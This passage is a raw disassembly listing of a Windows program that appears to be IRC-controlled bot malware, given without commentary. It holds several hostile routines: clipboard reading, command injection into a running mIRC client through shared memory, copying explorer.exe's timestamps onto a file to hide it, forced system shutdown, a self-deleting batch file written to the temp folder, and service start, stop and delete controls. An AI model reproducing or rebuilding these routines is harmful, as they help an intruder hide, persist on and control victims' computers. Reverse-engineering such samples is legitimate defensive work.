		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FB3F	endp

; ---------------------------------------------------------------------------
		db 31h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC36	proc near		; CODE XREF: sub_4010F5j

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_4953C8	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_40FC6F:				; CODE XREF: sub_40FC36+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40FC7B
		cmp	cl, 9
		jnz	short loc_40FC7E


loc_40FC7B:				; CODE XREF: sub_40FC36+3Ej
		inc	eax
		jmp	short loc_40FC6F
; ---------------------------------------------------------------------------


loc_40FC7E:				; CODE XREF: sub_40FC36+43j
					; sub_40FC36+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40FC98
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40FC7E
		cmp	cl, 21h
		jl	short loc_40FC7E


loc_40FC98:				; CODE XREF: sub_40FC36+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_491808
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_4163D7
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40FC36	endp

; ---------------------------------------------------------------------------
		db 22h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FCE2	proc near		; CODE XREF: sub_4012C1j
		push	esi
		push	0
		call	dword_49162C	; OpenClipboard
		test	eax, eax
		jz	short loc_40FD19
		push	1
		call	dword_49164C	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40FD19
		push	edi
		push	esi
		call	ds:dword_4953D0	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4953CC	; GlobalUnlock
		call	dword_4916B0	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40FD19:				; CODE XREF: sub_40FCE2+Bj
					; sub_40FCE2+19j
		xor	eax, eax
		pop	esi
		retn
sub_40FCE2	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FD2B	proc near		; CODE XREF: sub_4011F4j

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_491668	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40FDA7
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_4953D8	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_4952E0	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_416821
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4916B8	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4916B8	; SendMessageA
		push	ebx
		call	ds:dword_4953D4	; UnmapViewOfFile
		push	edi
		call	ds:dword_495358	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40FDA9
; ---------------------------------------------------------------------------


loc_40FDA7:				; CODE XREF: sub_40FD2B+16j
		xor	eax, eax


loc_40FDA9:				; CODE XREF: sub_40FD2B+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40FD2B	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDCD	proc near		; CODE XREF: sub_401320j

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_491718	; SearchPathA
		test	eax, eax
		jz	short loc_40FE6C
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_495360
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40FE6C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_4953E0	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_495358
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40FE6C
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_4953DC	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_40FE6C:				; CODE XREF: sub_40FDCD+2Aj
					; sub_40FDCD+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FDCD	endp

; ---------------------------------------------------------------------------
		db 29h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40FE9A:				; CODE XREF: .text:00401091j
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_415CA0
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_415CA0
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS	; "%s %s"
		push	400h
		push	eax
		call	sub_4163D7
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_495354	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn
; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF37	proc near		; CODE XREF: sub_401136j
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_401262
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4915A4	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40FF37	endp

; ---------------------------------------------------------------------------
		db 8 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF61	proc near		; CODE XREF: sub_401122j

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42C938, esi
		push	edi
		jz	short loc_40FF85
		cmp	dword_49172C, esi
		jnz	short loc_40FF85
		push	esi
		call	sub_4012FD
		pop	ecx


loc_40FF85:				; CODE XREF: sub_40FF61+13j
					; sub_40FF61+1Bj
		call	sub_401109
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	ds:dword_4953B8	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_416821
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_495360	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4100E5
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_416821
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	ds:dword_49535C	; WriteFile
		push	edi
		call	ds:dword_495358	; CloseHandle
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415CA0
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415CA0
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4370BC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_4953A8	; GetModuleHandleA
		push	eax
		call	ds:dword_495330	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_495374	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41008D
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_4953A4	; SetFileAttributesA


loc_41008D:				; CODE XREF: sub_40FF61+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_416821
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	ds:dword_4953E4	; ExpandEnvironmentStringsA
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_495354	; CreateProcessA


loc_4100E5:				; CODE XREF: sub_40FF61+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40FF61	endp

; ---------------------------------------------------------------------------
		db 62h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41014B	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4101B0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_430650[esi]
		push	edi
		push	eax
		call	sub_401154
		add	esp, 14h
		test	eax, eax
		jnz	short loc_410193
		push	edi
		push	off_43064C[esi]
		mov	esi, offset dword_492134
		push	offset unk_4307A0
		push	esi
		call	sub_416821
		add	esp, 10h
		jmp	short loc_4101CD
; ---------------------------------------------------------------------------


loc_410193:				; CODE XREF: sub_41014B+2Aj
		push	eax
		call	sub_4102BD
		push	eax
		push	edi
		mov	esi, offset dword_492134
		push	offset unk_430764
		push	esi
		call	sub_416821
		add	esp, 14h
		jmp	short loc_4101CD
; ---------------------------------------------------------------------------


loc_4101B0:				; CODE XREF: sub_41014B+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_492134
		push	off_430648[eax*4]
		push	offset unk_43072C
		push	esi
		call	sub_416821
		add	esp, 0Ch


loc_4101CD:				; CODE XREF: sub_41014B+46j
					; sub_41014B+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41014B	endp

; ---------------------------------------------------------------------------
		db 21h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101F3	proc near		; CODE XREF: sub_401154j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_491650	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41021A
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41028F
; ---------------------------------------------------------------------------


loc_41021A:				; CODE XREF: sub_4101F3+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_491544	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41023A
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_410287
; ---------------------------------------------------------------------------


loc_41023A:				; CODE XREF: sub_4101F3+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41026D
		cmp	eax, 3
		jz	short loc_41025E
		jle	short loc_410280
		cmp	eax, 6
		jg	short loc_410280
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4915AC	; ControlService
		jmp	short loc_410274
; ---------------------------------------------------------------------------


loc_41025E:				; CODE XREF: sub_4101F3+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_49154C	; StartServiceA
		jmp	short loc_410274
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4101F3+4Dj
		push	esi
		call	dword_4915B0	; DeleteService


loc_410274:				; CODE XREF: sub_4101F3+69j
					; sub_4101F3+78j
		test	eax, eax
		jnz	short loc_410280
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	ebx, eax


loc_410280:				; CODE XREF: sub_4101F3+54j
					; sub_4101F3+59j ...
		push	esi
		call	dword_491560	; CloseServiceHandle


loc_410287:				; CODE XREF: sub_4101F3+45j
		push	edi
		call	dword_491560	; CloseServiceHandle
		pop	esi


loc_41028F:				; CODE XREF: sub_4101F3+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_4101F3	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4102BD	proc near		; CODE XREF: sub_41014B+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_410372
		jz	loc_41036B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_410335
		jz	short loc_41032B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_410321
		dec	ecx
		dec	ecx
		jz	short loc_410317
		dec	ecx
		jz	short loc_41030D
		sub	ecx, 51h
		jz	short loc_410303
		sub	ecx, 24h
		jnz	loc_4103E8	; default
					; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_410303:				; CODE XREF: sub_4102BD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_41030D:				; CODE XREF: sub_4102BD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_410317:				; CODE XREF: sub_4102BD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_410321:				; CODE XREF: sub_4102BD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_41032B:				; CODE XREF: sub_4102BD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_410335:				; CODE XREF: sub_4102BD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_410364
		dec	ecx
		jz	short loc_41035D
		dec	ecx
		jz	short loc_410356
		dec	ecx
		jnz	loc_4103E8	; default
					; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4103DA
; ---------------------------------------------------------------------------


loc_410356:				; CODE XREF: sub_4102BD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_41035D:				; CODE XREF: sub_4102BD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_410364:				; CODE XREF: sub_4102BD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_41036B:				; CODE XREF: sub_4102BD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_410372:				; CODE XREF: sub_4102BD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_4103E8 ; default
					; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4103D5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_4103E8 ; default
					; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_410429[ecx]
		jmp	ds:off_410401[ecx*4] ; switch jump


loc_410396:				; DATA XREF: .text:off_410401o
		push	offset aTheSpecifiedDa ; jumptable 0041038F case 7
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_41039D:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceDepe ; jumptable 0041038F case 17
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103A4:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceDe_0 ; jumptable 0041038F case 10
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103AB:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceHasB ; jumptable 0041038F case 0
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103B2:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheSpecified_0 ; jumptable 0041038F case 2
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103B9:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceCoul ; jumptable 0041038F case 11
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103C0:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceHa_0 ; jumptable 0041038F case 14
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103C7:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheRequested_1 ; jumptable 0041038F case 3
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103CE:				; CODE XREF: sub_4102BD+D2j
					; DATA XREF: .text:off_410401o
		push	offset aTheServiceHasN ; jumptable 0041038F case 4
		jmp	short loc_4103DA
; ---------------------------------------------------------------------------


loc_4103D5:				; CODE XREF: sub_4102BD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4103DA:				; CODE XREF: sub_4102BD+41j
					; sub_4102BD+4Bj ...
		push	offset dword_491A74
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	short loc_4103FB
; ---------------------------------------------------------------------------


loc_4103E8:				; CODE XREF: sub_4102BD+36j
					; sub_4102BD+89j ...
		push	eax		; default
					; jumptable 0041038F cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_491A74
		call	sub_416821
		add	esp, 0Ch


loc_4103FB:				; CODE XREF: sub_4102BD+129j
		mov	eax, offset dword_491A74
		retn
sub_4102BD	endp

; ---------------------------------------------------------------------------
off_410401	dd offset loc_4103AB	; DATA XREF: sub_4102BD+D2r
		dd offset loc_4103B2	; jump table for switch	statement
		dd offset loc_4103C7
		dd offset loc_4103CE
		dd offset loc_410396
		dd offset loc_4103A4
		dd offset loc_4103B9
		dd offset loc_4103C0
		dd offset loc_41039D
		dd offset loc_4103E8
byte_410429	db	0,     9,     1,     2 ; DATA XREF: sub_4102BD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8
		db 5Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41049A	proc near		; CODE XREF: sub_4010E1j

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_491650	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 14h


loc_4104D2:				; CODE XREF: sub_41049A+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_49161C	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41050C
		call	ds:dword_495328	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4105C0


loc_41050C:				; CODE XREF: sub_41049A+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4105B7
		lea	esi, [ebp+var_188]


loc_41051D:				; CODE XREF: sub_41049A+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_410566
		dec	eax
		jz	short loc_41055F
		dec	eax
		jz	short loc_410558
		dec	eax
		jz	short loc_410551
		dec	eax
		jz	short loc_41054A
		dec	eax
		jz	short loc_410543
		dec	eax
		jz	short loc_41053C
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_41053C:				; CODE XREF: sub_41049A+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_410543:				; CODE XREF: sub_41049A+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_41054A:				; CODE XREF: sub_41049A+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_410551:				; CODE XREF: sub_41049A+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_410558:				; CODE XREF: sub_41049A+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_41055F:				; CODE XREF: sub_41049A+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41056B
; ---------------------------------------------------------------------------


loc_410566:				; CODE XREF: sub_41049A+87j
		push	offset aStopped	; "    Stopped"


loc_41056B:				; CODE XREF: sub_41049A+A0j
					; sub_41049A+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416821
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_2	; "%s: %s (%s)"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_41051D


loc_4105B7:				; CODE XREF: sub_41049A+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4104D2


loc_4105C0:				; CODE XREF: sub_41049A+6Cj
		push	[ebp+var_C]
		call	dword_491560	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41049A	endp

; ---------------------------------------------------------------------------
		db 4Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410626	proc near		; CODE XREF: sub_40117Cj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4106BF
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41064F
		dec	eax
		jnz	short loc_41069F
		push	edi
		push	0
		call	sub_40107D
		pop	ecx
		pop	ecx
		jmp	short loc_41069B
; ---------------------------------------------------------------------------


loc_41064F:				; CODE XREF: sub_410626+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41068D
		push	24h
		push	edi
		call	sub_417B60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41068D
		push	57h
		pop	eax


loc_410666:				; CODE XREF: sub_410626+77j
		push	eax
		call	sub_411235
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_491D30
		push	off_430648[eax*4]
		push	offset unk_430E70
		push	esi
		call	sub_416821
		add	esp, 18h
		jmp	short loc_4106DF
; ---------------------------------------------------------------------------


loc_41068D:				; CODE XREF: sub_410626+2Dj
					; sub_410626+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40132F
		add	esp, 0Ch


loc_41069B:				; CODE XREF: sub_410626+27j
		test	eax, eax
		jnz	short loc_410666


loc_41069F:				; CODE XREF: sub_410626+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_491D30
		push	off_43064C[eax*4]
		push	offset unk_430E44
		push	esi
		call	sub_416821
		add	esp, 10h
		jmp	short loc_4106DF
; ---------------------------------------------------------------------------


loc_4106BF:				; CODE XREF: sub_410626+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_491D30
		lea	eax, [eax+eax*2]
		push	off_430648[eax*4]
		push	offset unk_430E0C
		push	esi
		call	sub_416821
		add	esp, 0Ch


loc_4106DF:				; CODE XREF: sub_410626+65j
					; sub_410626+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_410626	endp

; ---------------------------------------------------------------------------
		db 2Fh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410714	proc near		; CODE XREF: sub_40114Fj

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_410721
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410721:				; CODE XREF: sub_410714+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_4953E8
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_491F30, 1
		mov	ebp, eax
		jnz	short loc_41075E
		or	byte_491F30, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_416765
		pop	ecx
		mov	dword_491CD0, eax


loc_41075E:				; CODE XREF: sub_410714+32j
		push	esi
		push	esi
		push	ebp
		push	dword_491CD0
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_491CD0
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_410714	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410794	proc near		; CODE XREF: sub_40132Fj

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_410819
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_410819
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417B60
		push	[ebp+arg_8]
